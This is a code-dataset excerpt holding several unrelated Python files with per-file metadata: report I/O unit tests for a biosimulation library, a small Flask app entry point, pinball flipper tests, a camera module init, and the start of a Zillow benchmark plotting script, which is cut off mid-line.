from biosimulators_utils.report import data_model from biosimulators_utils.report import io from biosimulators_utils.report.warnings import MissingDataWarning, ExtraDataWarning from biosimulators_utils.sedml.data_model import Report, DataSet import numpy import numpy.testing import os import shutil import tempfile import unittest class ReportIoTestCase(unittest.TestCase): def setUp(self): self.dirname = tempfile.mkdtemp() def tearDown(self): shutil.rmtree(self.dirname) def test_read_write(self): report_1 = Report( id='report_1', data_sets=[ DataSet(id='w', label='W'), DataSet(id='x', label='X'), DataSet(id='y', label='Y'), DataSet(id='z', label='Z'), ], ) report_2 = Report( id='report_2', data_sets=[ DataSet(id='a', label='A'), DataSet(id='b', label='B'), DataSet(id='c', label='C'), DataSet(id='d', label='D'), ], ) report_3 = Report( id='report_3', data_sets=[ DataSet(id='a', label='A'), DataSet(id='b', label='B'), DataSet(id='c', label='C'), DataSet(id='d', label='D'), ], ) data_set_results_1 = data_model.DataSetResults({ 'w': None, 'x': numpy.array([1, 2, 3]), 'y': numpy.array([4., numpy.nan]), 'z': numpy.array(6.), }) data_set_results_2 = data_model.DataSetResults({ 'a': numpy.array([1, 2]), 'b': numpy.array([7., 8., 9.]), 'c': numpy.array(True), 'd': None, }) data_set_results_3 = data_model.DataSetResults({ 'a': numpy.array([[1, 2], [3, 4], [5, 6]]), 'b': numpy.array([7., 8., 9.]), 'c': numpy.array(True), 'd': None, }) # CSV, TSV for format in [data_model.ReportFormat.csv, data_model.ReportFormat.tsv, data_model.ReportFormat.xlsx]: rel_path_1 = os.path.join(format.value, 'a/b/c.sedml', report_1.id) rel_path_2 = os.path.join(format.value, 'a/d.sedml', report_2.id) rel_path_3 = os.path.join(format.value, 'e.sedml', report_2.id) io.ReportWriter().run(report_1, data_set_results_1, self.dirname, rel_path_1, format=format) io.ReportWriter().run(report_2, data_set_results_2, self.dirname, rel_path_2, format=format) with self.assertRaisesRegex(ValueError, 'Multidimensional reports cannot be exported'): io.ReportWriter().run(report_3, data_set_results_3, self.dirname, rel_path_3, format=format) data_set_results_1_b = io.ReportReader().run(report_1, self.dirname, rel_path_1, format=format) data_set_results_2_b = io.ReportReader().run(report_2, self.dirname, rel_path_2, format=format) self.assertEqual(set(io.ReportReader().get_ids(self.dirname, format=format)), set([rel_path_1, rel_path_2])) numpy.testing.assert_allclose(data_set_results_1_b['w'], numpy.array([numpy.nan, numpy.nan, numpy.nan])) numpy.testing.assert_allclose(data_set_results_1_b['x'], numpy.array([1., 2., 3.])) numpy.testing.assert_allclose(data_set_results_1_b['y'], numpy.array([4., numpy.nan, numpy.nan])) numpy.testing.assert_allclose(data_set_results_1_b['z'], numpy.array([6., numpy.nan, numpy.nan])) self.assertEqual(data_set_results_1_b['w'].dtype.name, 'float64') self.assertEqual(data_set_results_1_b['x'].dtype.name, 'float64') self.assertEqual(data_set_results_1_b['y'].dtype.name, 'float64') self.assertEqual(data_set_results_1_b['z'].dtype.name, 'float64') numpy.testing.assert_allclose(data_set_results_2_b['a'], numpy.array([1., 2., numpy.nan])) numpy.testing.assert_allclose(data_set_results_2_b['b'], numpy.array([7., 8., 9.])) numpy.testing.assert_allclose(data_set_results_2_b['c'], numpy.array([1., numpy.nan, numpy.nan])) numpy.testing.assert_allclose(data_set_results_2_b['d'], numpy.array([numpy.nan, numpy.nan, numpy.nan])) self.assertEqual(data_set_results_2_b['a'].dtype.name, 'float64') self.assertEqual(data_set_results_2_b['b'].dtype.name, 'float64') self.assertEqual(data_set_results_2_b['c'].dtype.name, 'float64') self.assertEqual(data_set_results_2_b['d'].dtype.name, 'float64') # HDF for format in [data_model.ReportFormat.h5]: rel_path_1 = os.path.join(format.value, 'a/b/c.sedml', report_1.id) rel_path_2 = os.path.join(format.value, 'a/d.sedml', report_2.id) rel_path_3 = os.path.join(format.value, 'e.sedml', report_2.id) io.ReportWriter().run(report_1, data_set_results_1, self.dirname, rel_path_1, format=format) io.ReportWriter().run(report_2, data_set_results_2, self.dirname, rel_path_2, format=format) io.ReportWriter().run(report_3, data_set_results_3, self.dirname, rel_path_3, format=format) data_set_results_1_b = io.ReportReader().run(report_1, self.dirname, rel_path_1, format=format) data_set_results_2_b = io.ReportReader().run(report_2, self.dirname, rel_path_2, format=format) data_set_results_3_b = io.ReportReader().run(report_3, self.dirname, rel_path_3, format=format) self.assertEqual(set(io.ReportReader().get_ids(self.dirname, format=format)), set([rel_path_1, rel_path_2, rel_path_3])) self.assertEqual(data_set_results_1_b['w'], None) numpy.testing.assert_allclose(data_set_results_1_b['x'], numpy.array([1, 2, 3])) numpy.testing.assert_allclose(data_set_results_1_b['y'], numpy.array([4., numpy.nan])) numpy.testing.assert_allclose(data_set_results_1_b['z'], numpy.array(6.)) self.assertEqual(data_set_results_1_b['x'].dtype.name, 'int64') self.assertEqual(data_set_results_1_b['y'].dtype.name, 'float64') self.assertEqual(data_set_results_1_b['z'].dtype.name, 'float64') numpy.testing.assert_allclose(data_set_results_2_b['a'], numpy.array([1, 2])) numpy.testing.assert_allclose(data_set_results_2_b['b'], numpy.array([7., 8., 9.])) numpy.testing.assert_allclose(data_set_results_2_b['c'], numpy.array(True)) self.assertEqual(data_set_results_2_b['d'], None) self.assertEqual(data_set_results_2_b['a'].dtype.name, 'int64') self.assertEqual(data_set_results_2_b['b'].dtype.name, 'float64') self.assertEqual(data_set_results_2_b['c'].dtype.name, 'bool') numpy.testing.assert_allclose(data_set_results_3_b['a'], numpy.array([[1, 2], [3, 4], [5, 6]])) numpy.testing.assert_allclose(data_set_results_3_b['b'], numpy.array([7., 8., 9.])) numpy.testing.assert_allclose(data_set_results_3_b['c'], numpy.array(True)) self.assertEqual(data_set_results_3_b['d'], None) self.assertEqual(data_set_results_3_b['a'].dtype.name, 'int64') self.assertEqual(data_set_results_3_b['b'].dtype.name, 'float64') self.assertEqual(data_set_results_3_b['c'].dtype.name, 'bool') def test_read_write_warnings(self): report_1 = Report( id='report_1', data_sets=[ DataSet(id='x', label='X'), DataSet(id='y', label='Y'), DataSet(id='z', label='Z'), ], ) data_set_results_1 = data_model.DataSetResults({ 'x': numpy.array([1., 2.]), 'y': numpy.array([3., 4.]), 'z': numpy.array([5., 6.]), }) rel_path_1 = os.path.join('a/b/c.sedml', report_1.id) io.ReportWriter().run(report_1, data_set_results_1, self.dirname, rel_path_1, format=data_model.ReportFormat.h5) report_1.data_sets.append(DataSet(id='w', label='W')) with self.assertWarns(MissingDataWarning): io.ReportReader().run(report_1, self.dirname, rel_path_1, format=data_model.ReportFormat.h5) report_1.data_sets.pop() report_1.data_sets.pop() with self.assertWarns(ExtraDataWarning): io.ReportReader().run(report_1, self.dirname, rel_path_1, format=data_model.ReportFormat.h5) def test_read_write_duplicate_labels(self): # labels in same order report_1 = Report( id='report_1', data_sets=[ DataSet(id='x', label='A'), DataSet(id='y', label='A'), DataSet(id='z', label='A'), ], ) data_set_results_1 = data_model.DataSetResults({ 'x': numpy.array([1., 2.]), 'y': numpy.array([3., 4.]), 'z': numpy.array([5., 6.]), }) rel_path_1 = os.path.join('a/b/c.sedml', report_1.id) io.ReportWriter().run(report_1, data_set_results_1, self.dirname, rel_path_1, format=data_model.ReportFormat.csv) data_set_results_2 = io.ReportReader().run(report_1, self.dirname, rel_path_1, format=data_model.ReportFormat.csv) numpy.testing.assert_allclose(data_set_results_2['x'], numpy.array([1., 2.])) numpy.testing.assert_allclose(data_set_results_2['y'], numpy.array([3., 4.])) numpy.testing.assert_allclose(data_set_results_2['z'], numpy.array([5., 6.])) # labels in different order report_1 = Report( id='report_1', data_sets=[ DataSet(id='x', label='X'), DataSet(id='y', label='X'), DataSet(id='z', label='Z'), ], ) data_set_results_1 = data_model.DataSetResults({ 'x': numpy.array([1., 2.]), 'y': numpy.array([3., 4.]), 'z': numpy.array([5., 6.]), }) rel_path_1 = os.path.join('a/b/c.sedml', report_1.id) io.ReportWriter().run(report_1, data_set_results_1, self.dirname, rel_path_1, format=data_model.ReportFormat.csv) report_2 = Report( id='report_1', data_sets=[ DataSet(id='x', label='X'), DataSet(id='z', label='Z'), DataSet(id='y', label='X'), ], ) data_set_results_2 = io.ReportReader().run(report_2, self.dirname, rel_path_1, format=data_model.ReportFormat.csv) self.assertEqual(set(data_set_results_2.keys()), set(['z'])) numpy.testing.assert_allclose(data_set_results_2['z'], numpy.array([5., 6.])) def test_overwrite_report(self): report_1 = Report( id='report_1', data_sets=[ DataSet(id='x', label='X'), DataSet(id='y', label='Y'), DataSet(id='z', label='Z'), ], ) data_set_results_1 = data_model.DataSetResults({ 'x': numpy.array([1., 2.]), 'y': numpy.array([3., 4.]), 'z': numpy.array([5., 6.]), }) rel_path_1 = os.path.join('a/b/c.sedml', report_1.id) io.ReportWriter().run(report_1, data_set_results_1, self.dirname, rel_path_1, format=data_model.ReportFormat.h5) data_set_results_2 = io.ReportReader().run(report_1, self.dirname, rel_path_1, format=data_model.ReportFormat.h5) numpy.testing.assert_allclose(data_set_results_2['x'], numpy.array([1., 2.])) numpy.testing.assert_allclose(data_set_results_2['y'], numpy.array([3., 4.])) numpy.testing.assert_allclose(data_set_results_2['z'], numpy.array([5., 6.])) data_set_results_1 = data_model.DataSetResults({ 'x': numpy.array([1., 2.]) + 1., 'y': numpy.array([3., 4.]) + 1., 'z': numpy.array([5., 6.]) + 1., }) io.ReportWriter().run(report_1, data_set_results_1, self.dirname, rel_path_1, format=data_model.ReportFormat.h5) data_set_results_2 = io.ReportReader().run(report_1, self.dirname, rel_path_1, format=data_model.ReportFormat.h5) numpy.testing.assert_allclose(data_set_results_2['x'], numpy.array([1., 2.]) + 1.) numpy.testing.assert_allclose(data_set_results_2['y'], numpy.array([3., 4.]) + 1.) numpy.testing.assert_allclose(data_set_results_2['z'], numpy.array([5., 6.]) + 1.) def test_write_error_handling(self): with self.assertRaisesRegex(NotImplementedError, 'is not supported'): io.ReportWriter().run(Report(), None, None, None, format='TSV') report = Report(data_sets=[DataSet(id='x', label='x')]) data_set_results = data_model.DataSetResults({'x': numpy.zeros((3, ))}) io.ReportWriter().run(report, data_set_results, self.dirname, '.', format=data_model.ReportFormat.csv) data_set_results['x'] = data_set_results['x'].reshape((3, 1)) with self.assertRaisesRegex(ValueError, 'Multidimensional reports cannot be exported'): io.ReportWriter().run(report, data_set_results, self.dirname, '.', format=data_model.ReportFormat.csv) def test_read_error_handling(self): with self.assertRaisesRegex(NotImplementedError, 'is not supported'): io.ReportReader().run(Report(), None, None, format='TSV') def test_get_ids(self): report = Report( data_sets=[ DataSet(id='A', label='A'), DataSet(id='B', label='A'), ], ) results = data_model.DataSetResults({ report.data_sets[0].id: numpy.array([1, 2, 3]), report.data_sets[1].id: numpy.array([4, 5, 6]), }) for format in [data_model.ReportFormat.h5, data_model.ReportFormat.csv]: filename = os.path.join(self.dirname, 'test') io.ReportWriter().run(report, results, filename, 'a/b/c.sedml/report1', format=format) io.ReportWriter().run(report, results, filename, 'a/b/c.sedml/report2', format=format) io.ReportWriter().run(report, results, filename, 'a/b/c.sedml/report3', format=format) io.ReportWriter().run(report, results, filename, 'a/b/d.sedml/report4', format=format) io.ReportWriter().run(report, results, filename, 'a/b/report5', format=format) io.ReportWriter().run(report, results, filename, 'a/b/report6', format=format) self.assertEqual(set(io.ReportReader().get_ids(filename, format=format)), set([ 'a/b/c.sedml/report1', 'a/b/c.sedml/report2', 'a/b/c.sedml/report3', 'a/b/d.sedml/report4', 'a/b/report5', 'a/b/report6', ])) with self.assertRaisesRegex(NotImplementedError, 'is not supported'): io.ReportReader().get_ids(filename, format=None)

47.401899

132

0.602644

2,017

14,979

4.225087

0.059494

0.066534

0.133067

0.061605

0.873504

0.829735

0.811312

0.794532

0.767895

0.723187

0

0.029076

0.240003

14,979

315

133

47.552381

0.719519

0.003939

0

0.538462

0

0.050352

0

0.223077

1

0.034615

false

0

0.038462

0

0.076923

0

null

0

1

0

null

0

6

4931c15a460bc532b0c2b1145d844c85b96a532a

282

py

Python

server.py

Thomas-Arndt/recipes

a8a683221e1f48faacfdde5cc665e83f19dedccd

[ "MIT" ]

null

server.py

Thomas-Arndt/recipes

a8a683221e1f48faacfdde5cc665e83f19dedccd

[ "MIT" ]

null

server.py

Thomas-Arndt/recipes

a8a683221e1f48faacfdde5cc665e83f19dedccd

[ "MIT" ]

null

from flask_app import app from flask_app.controllers import controller_routes from flask_app.controllers import controller_user from flask_app.controllers import controller_recipe from flask_app.controllers import controller_like while __name__=="__main__": app.run(debug=True)

35.25

51

0.858156

40

282

5.625

0.4

0.2

0.266667

0.408889

0.693333

0

0.095745

282

8

52

35.25

0.882353

0

0.028269

0

1

0

true

0

0.714286

0

0.714286

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

493fd5802e9ca9388e1ad1acc951737563258143

8,252

py

Python

mpf/tests/test_Flippers.py

cloudjor/mpf

1cf6bf18b0d81120383b0b128b0ebbfa1c62717c

[ "MIT" ]

null

mpf/tests/test_Flippers.py

cloudjor/mpf

1cf6bf18b0d81120383b0b128b0ebbfa1c62717c

[ "MIT" ]

null

mpf/tests/test_Flippers.py

cloudjor/mpf

1cf6bf18b0d81120383b0b128b0ebbfa1c62717c

[ "MIT" ]

null

from mpf.platforms.interfaces.driver_platform_interface import PulseSettings, HoldSettings from mpf.core.platform import SwitchSettings, DriverSettings from mpf.tests.MpfTestCase import MpfTestCase from unittest.mock import MagicMock, call class TestFlippers(MpfTestCase): def getConfigFile(self): return 'config.yaml' def getMachinePath(self): return 'tests/machine_files/flippers/' def get_platform(self): return 'virtual' def test_single(self): self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule = MagicMock() self.machine.flippers.f_test_single.enable() self.assertEqual(1, len(self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule. _mock_call_args_list)) self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule.assert_called_once_with( SwitchSettings(hw_switch=self.machine.switches.s_flipper.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_main.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=10), hold_settings=HoldSettings(power=0.125), recycle=False) ) self.machine.default_platform.clear_hw_rule = MagicMock() self.machine.flippers.f_test_single.disable() self.assertEqual(1, self.machine.default_platform.clear_hw_rule.called) self.machine.default_platform.clear_hw_rule.assert_called_once_with( SwitchSettings(hw_switch=self.machine.switches.s_flipper.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_main.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=10), hold_settings=HoldSettings(power=0.125), recycle=False) ) def test_hold_with_eos(self): self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_and_disable_rule = MagicMock() self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule = MagicMock() self.machine.flippers.f_test_hold_eos.enable() self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule.assert_called_once_with( SwitchSettings(hw_switch=self.machine.switches.s_flipper.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_hold.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=10), hold_settings=HoldSettings(power=1.0), recycle=False) ) self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_and_disable_rule.assert_called_with( SwitchSettings(hw_switch=self.machine.switches.s_flipper.hw_switch, invert=False, debounce=False), SwitchSettings(hw_switch=self.machine.switches.s_flipper_eos.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_main.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=10), hold_settings=HoldSettings(power=0.125), recycle=False) ) self.machine.default_platform.clear_hw_rule = MagicMock() self.machine.flippers.f_test_hold_eos.disable() self.machine.default_platform.clear_hw_rule.assert_has_calls([ call( SwitchSettings(hw_switch=self.machine.switches.s_flipper.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_main.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=10), hold_settings=HoldSettings(power=0.125), recycle=False) ), call( SwitchSettings(hw_switch=self.machine.switches.s_flipper_eos.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_main.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=10), hold_settings=HoldSettings(power=0.125), recycle=False) ), call( SwitchSettings(hw_switch=self.machine.switches.s_flipper.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_hold.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=10), hold_settings=HoldSettings(power=1.0), recycle=False) ), ], any_order = True) def test_flipper_with_settings(self): flipper = self.machine.flippers.f_test_flippers_with_settings self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule = MagicMock() flipper.enable() self.assertEqual(1, len(self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule. _mock_call_args_list)) self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule.assert_called_once_with( SwitchSettings(hw_switch=self.machine.switches.s_flipper.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_main.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=10), hold_settings=HoldSettings(power=0.125), recycle=False) ) self.machine.default_platform.clear_hw_rule = MagicMock() flipper.disable() self.assertEqual(1, self.machine.default_platform.clear_hw_rule.called) self.machine.default_platform.clear_hw_rule.assert_called_once_with( SwitchSettings(hw_switch=self.machine.switches.s_flipper.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_main.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=10), hold_settings=HoldSettings(power=0.125), recycle=False)) self.machine.settings.set_setting_value("flipper_power", 0.8) self.advance_time_and_run() self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule = MagicMock() flipper.enable() self.assertEqual(1, len(self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule. _mock_call_args_list)) self.machine.default_platform.set_pulse_on_hit_and_enable_and_release_rule.assert_called_once_with( SwitchSettings(hw_switch=self.machine.switches.s_flipper.hw_switch, invert=False, debounce=False), DriverSettings(hw_driver=self.machine.coils.c_flipper_main.hw_driver, pulse_settings=PulseSettings(power=1.0, duration=8), hold_settings=HoldSettings(power=0.125), recycle=False) ) self.assertEqual(8, flipper._get_pulse_ms()) def test_sw_flip_and_release(self): self.machine.coils.c_flipper_main.enable = MagicMock() self.machine.coils.c_flipper_main.disable = MagicMock() self.machine.flippers.f_test_single.sw_flip() self.machine.coils.c_flipper_main.enable.assert_called_once_with() self.machine.flippers.f_test_single.sw_release() self.machine.coils.c_flipper_main.disable.assert_called_once_with() self.machine.coils.c_flipper_main.pulse = MagicMock() self.machine.coils.c_flipper_main.disable = MagicMock() self.machine.coils.c_flipper_hold.enable = MagicMock() self.machine.coils.c_flipper_hold.disable = MagicMock() self.machine.flippers.f_test_hold_eos.sw_flip() self.machine.coils.c_flipper_main.pulse.assert_called_once_with() self.machine.coils.c_flipper_hold.enable.assert_called_once_with() self.machine.flippers.f_test_hold_eos.sw_release() self.machine.coils.c_flipper_main.disable.assert_called_once_with() self.machine.coils.c_flipper_hold.disable.assert_called_once_with()

54.649007

118

0.698982

1,021

8,252

5.287953

0.088149

0.130395

0.065197

0.069272

0.885349

0.877199

0.849972

0.818485

0.806816

0

0.012781

0.213039

8,252

150

119

55.013333

0.818602

0

0.6

0

0.007271

0.003514

0

0.166667

1

0.058333

false

0

0.033333

0.025

0.125

0

null

0

1

0

null

0

6

b8cad16b3ff305cd7790730775631d31367039bb

219

py

Python

three.py/cameras/__init__.py

Michael-Pascale/three.py

9912f5f850245fb9456a25b6737e12290ae54a2d

[ "MIT" ]

80

2019-04-04T13:41:32.000Z

2022-01-12T18:40:19.000Z

three.py/cameras/__init__.py

Michael-Pascale/three.py

9912f5f850245fb9456a25b6737e12290ae54a2d

[ "MIT" ]

9

2019-04-04T14:43:50.000Z

2020-03-29T04:50:53.000Z

three.py/cameras/__init__.py

Michael-Pascale/three.py

9912f5f850245fb9456a25b6737e12290ae54a2d

[ "MIT" ]

17

2019-04-04T14:20:42.000Z

2022-03-03T16:26:29.000Z

from cameras.Camera import * from cameras.PerspectiveCamera import * from cameras.OrthographicCamera import * # shadow camera is an orthographic camera with differently named uniforms from cameras.ShadowCamera import *

36.5

73

0.835616

26

219

7.038462

0.576923

0.240437

0.185792

0

0.123288

219

6

74

36.5

0.953125

0.324201

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

b8e70277314dc804f524fa67dde4f784d18e4cfd

45,587

py

Python

benchmarks/sigmod21-reproducibility/plot_scripts/zillow_plots.py

yunzhi-jake/tuplex

fc6c1edeabe8a28a5d46c9a3abf9011b3da78197

[ "Apache-2.0" ]

778

2021-06-30T03:40:43.000Z

2022-03-28T20:40:20.000Z

benchmarks/sigmod21-reproducibility/plot_scripts/zillow_plots.py

yunzhi-jake/tuplex

fc6c1edeabe8a28a5d46c9a3abf9011b3da78197

[ "Apache-2.0" ]

41

2021-07-05T17:55:56.000Z

2022-03-31T15:27:19.000Z

benchmarks/sigmod21-reproducibility/plot_scripts/zillow_plots.py

yunzhi-jake/tuplex

fc6c1edeabe8a28a5d46c9a3abf9011b3da78197

[ "Apache-2.0" ]

39

2021-07-01T02:40:33.000Z

2022-03-30T21:46:55.000Z

#!/usr/bin/env python # coding: utf-8 # ## Zillow experiment plots # this notebook produces all plots necessary for Figure 3 in the final number + numbers for the accompanying text. # Figure 3, 7 and table3 # In[24]: import matplotlib import matplotlib.pyplot as plt import numpy as np import pandas as pd import re import json import seaborn as sns import datetime from matplotlib.patches import Patch import matplotlib.patches as mpatches from matplotlib.lines import Line2D from matplotlib.path import * import warnings warnings.filterwarnings("ignore") import scipy.constants rho = scipy.constants.golden # make nice looking plot from .paper import * import logging adjust_settings() # In[75]: def load_zillow_to_df(data_root): files = os.listdir(data_root) rows = [] for file in files: path = os.path.join(data_root, file) name = file[:file.find('-run')] # skip compile runs, they should be loaded separately... if 'compile-run' in file: continue try: if file.endswith('.txt'): # print(path) with open(path, 'r') as fp: lines = fp.readlines() # skip empty files (means timeout) if len(lines) == 0: continue row = {} # get run number run_no = int(path[path.rfind('run-')+4:path.rfind('.txt')]) # CC baseline decode if 'cc-' in path or 'cpp_' in path: d = json.loads(lines[-1]) row = {} row['write'] = d['output'] / 10**9 row['job_time'] = d['total'] / 10**9 if 'load' in d.keys(): row['load'] = d['load'] / 10**9 row['compute'] = d['compute'] / 10 ** 9 else: row['compute'] = d['transform'] / 10 ** 9 if 'no-preload' in file or 'no_preload' in file: row['type'] = 'no-preload' else: row['type'] = 'preload' row['framework'] = 'c++' # hand-measured compile time # TODO: update! row['compile'] = 7.529 row['mode'] = 'c++' # override if compute is available if 'compute_time' in d.keys(): row['compute'] = d['compute_time'] elif 'scala' in path: # Scala row['framework'] = 'scala' row['type'] = 'single-threaded' row['mode'] = 'scala' if 'sparksql' in path: row['framework'] = 'spark' row['type'] = 'scala-sql' row['mode'] = 'scala' # compile times & Co (hand measured) row['job_time'] = float(re.sub('[^0-9.]*', '', lines[1])) row['startup_time'] = float(re.sub('[^0-9.]*', '', lines[0])) # tuplex decode elif 'tuplex' in path: try: d = {} if 'tuplex' in name: d = json.loads(list(filter(lambda x: 'startupTime' in x, lines))[0]) else: d = json.loads(lines[-1].replace("'", '"')) load_time = 0. if 'io_load_time' in d.keys(): load_time = d['io_load_time'] if 'io_load' in d.keys(): load_time = d['io_load'] row = {'startup_time' : d['startupTime'], 'job_time':d['jobTime'], "load":load_time} row['framework'] = 'tuplex' if '-st' in path or '_st' in path: row['type'] = 'single-threaded' elif '-io' in path: row['type'] = 'cached' else: row['type'] = 'multi-threaded' if 'preload' in path: row['type'] = row['type'] + '-preload' if 'nonvo' in path: row['type'] = row['type'] + '-no-nvo' #breakdown time extract for tuplex c = '\n'.join(lines) pattern = re.compile('load&transform tasks in (\d+.\d+)s') lt_times = np.array(list(map(float, pattern.findall(c)))) pattern = re.compile('compiled to x86 in (\d+.\d+)s') cp_times = np.array(list(map(float, pattern.findall(c)))) m = re.search('writing output took (\d+.\d+)s', c) if m: w_time = float(m[1]) row['write'] = w_time lt_time = lt_times.sum() cp_time = cp_times.sum() row['compute'] = lt_time row['compile'] = cp_time # override if compute is available if 'compute_time' in d.keys(): row['compute'] = d['compute_time'] except Exception as e: print(e) row['mode'] = 'python3' else: d = json.loads(lines[-1].replace("'", '"')) # clean framework row['framework'] = d['framework'] if 'Spark' in row['framework']: row['framework'] = 'spark' if 'dask' in row['framework']: row['framework'] = 'dask' if 'pandas' in row['framework']: row['framework'] = 'pandas' # override framework for nuitka + cython if 'nuitka' in path: row['framework'] = 'nuitka' if 'cython' in path: row['framework'] = 'cython' # clean keys if 'load_time' in d.keys(): row['load'] = d['load_time'] if 'run_time' in d.keys(): row['compute'] = d['run_time'] if 'write_time' in d.keys(): row['write'] = d['write_time'] if 'nuitka' or 'cython' in path: # regex extract m = re.search("compilation via \w+ took: (\d\.\d+)s", '\n'.join(lines)) if m: row['compile'] = float(m[1]) row['type'] = d['type'] # adjust spark types if 'RDD dict' in row['type']: row['type'] = 'dict' if 'RDD tuple' in row['type']: row['type'] = 'tuple' if 'DataFrame' in row['type']: row['type'] = 'sql' row['job_time'] = d['job_time'] if 'startup_time' in d.keys(): row['startup_time'] = d['startup_time'] if 'pypy' in path: row['mode'] = 'pypy3' else: row['mode'] = 'python3' if len(row) > 0: row['run'] = run_no rows.append(row) except Exception as e: # print('file: {}'.format(file)) # print(type(e)) # print(e) pass return pd.DataFrame(rows) # In[76]: def load_data(zillow_folder='r5d.8xlarge/zillow'): df_Z1 = load_zillow_to_df(os.path.join(zillow_folder, 'Z1/')) df_Z1 = df_Z1[sorted(df_Z1.columns)] # exclude first, warmup run df_Z1 = df_Z1[df_Z1['run'] != 1] df_Z2 = load_zillow_to_df(os.path.join(zillow_folder, 'Z2/')) df_Z2 = df_Z2[sorted(df_Z2.columns)] # exclude first, warmup run df_Z2 = df_Z2[df_Z2['run'] != 1] df = df_Z1.copy() subdf = df[df['type'].isin(['single-threaded-preload', 'preload'])] subdf = subdf.groupby(['framework', 'mode', 'type']).mean().sort_values(by='compute').reset_index() recs = subdf.to_dict('records') tuplex_time = recs[1]['job_time'] #note the switch due to how times are measured cc_time = recs[0]['compute'] logging.info('Zillow Z1:: Tuplex takes {:.2f}s vs. C++ {:.2f}s, i.e. comes within {:.2f}%'.format(tuplex_time, cc_time, (tuplex_time - cc_time) / tuplex_time * 100)) df = df_Z2.copy() subdf = df[df['type'].isin(['single-threaded-preload', 'preload'])] subdf = subdf.groupby(['framework', 'mode', 'type']).mean().sort_values(by='compute').reset_index() recs = subdf.to_dict('records') tuplex_time = recs[1]['job_time'] #note the switch due to how times are measured cc_time = recs[0]['compute'] logging.info('Zillow Z2:: Tuplex takes {:.2f}s vs. C++ {:.2f}s, i.e. comes within {:.2f}%'.format(tuplex_time, cc_time, (tuplex_time - cc_time) / tuplex_time * 100)) tuplex_time, cc_time return df_Z1, df_Z2 def table3(df): # use here df_Z1! # ## Table 3: Cython vs. Nuitka vs. Tuplex subdf = df[(df['mode'].isin(['python3', 'c++'])) & (df['framework'].isin(['cython', 'tuplex', 'nuitka', 'c++']))] subdf = subdf[subdf['type'].isin(['single-threaded', 'tuple', 'no-preload'])] df_mean = subdf.groupby(['framework', 'mode', 'type']).mean().reset_index() df_mean = df_mean.sort_values(by='compute').reset_index(drop=True) table3 = df_mean[['framework', 'mode', 'type', 'compile', 'compute']] logging.info('Table3:\n{}'.format(table3)) # => For the paper, use compile and compute columns tplx_dict = df_mean[df_mean['framework'] == 'tuplex'].to_dict('records')[0] tplx_compile, tplx_compute = tplx_dict['compile'], tplx_dict['compute'] min_compile_sp = df_mean[df_mean['framework'] != 'tuplex']['compile'].min() / tplx_compile max_compile_sp = df_mean[df_mean['framework'] != 'tuplex']['compile'].max() / tplx_compile min_compute_sp = df_mean[df_mean['framework'] != 'tuplex']['compute'].min() / tplx_compute max_compute_sp = df_mean[df_mean['framework'] != 'tuplex']['compute'].max() / tplx_compute logging.info('Tuplex compile speedup: {:.2f}x - {:.2f}x'.format(min_compile_sp, max_compile_sp)) logging.info('Tuplex compute speedup: {:.2f}x - {:.2f}x'.format(min_compute_sp, max_compute_sp)) # Compare this to best CPython result best_cpython_result = df[df['framework'] == 'python3'].groupby(['framework', 'mode', 'type']) .mean().reset_index().sort_values('compute').head(1)[['framework', 'mode', 'type', 'compute']] logging.info('Best CPYthon result: {}s'.format(best_cpython_result['compute'].values[0])) def figure3(df_Z1, df_Z2, output_folder): # ## Zillow Z1 plots logging.info('Plotting Z1') st_fws = ['tuplex', 'cython', 'nuitka', 'python3', 'c++', 'pandas', 'scala'] mt_fws = ['tuplex', 'spark', 'dask'] # which df to use? df = df_Z1.copy() # drop tuplex preload df = df[df['type'] != 'single-threaded-preload'] query_name = 'Z1' df_st = df[(df['mode'].isin(['python3', 'c++', 'scala'])) & (df['framework'].isin(st_fws))] df_st = df_st[~df_st['type'].isin(['multi-threaded', 'cached', 'preload'])] df_st_mu = df_st.groupby(['framework', 'type']).mean().reset_index() df_st_std = df_st.groupby(['framework', 'type']).std().reset_index() df_st_tuple = df_st_mu[df_st_mu['type'] == 'tuple'].sort_values(by='job_time').reset_index(drop=True) df_st_dict = df_st_mu[df_st_mu['type'] == 'dict'].sort_values(by='job_time').reset_index(drop=True) df_st_rest = df_st_mu[~df_st_mu['type'].isin(['tuple', 'dict'])].sort_values(by='job_time').reset_index(drop=True) df_st_tuple_std = df_st_std[df_st_std['type'] == 'tuple'] df_st_dict_std = df_st_std[df_st_std['type'] == 'dict'] df_st_rest_std = df_st_std[~df_st_std['type'].isin(['tuple', 'dict'])] df_st = df[(df['mode'].isin(['python3', 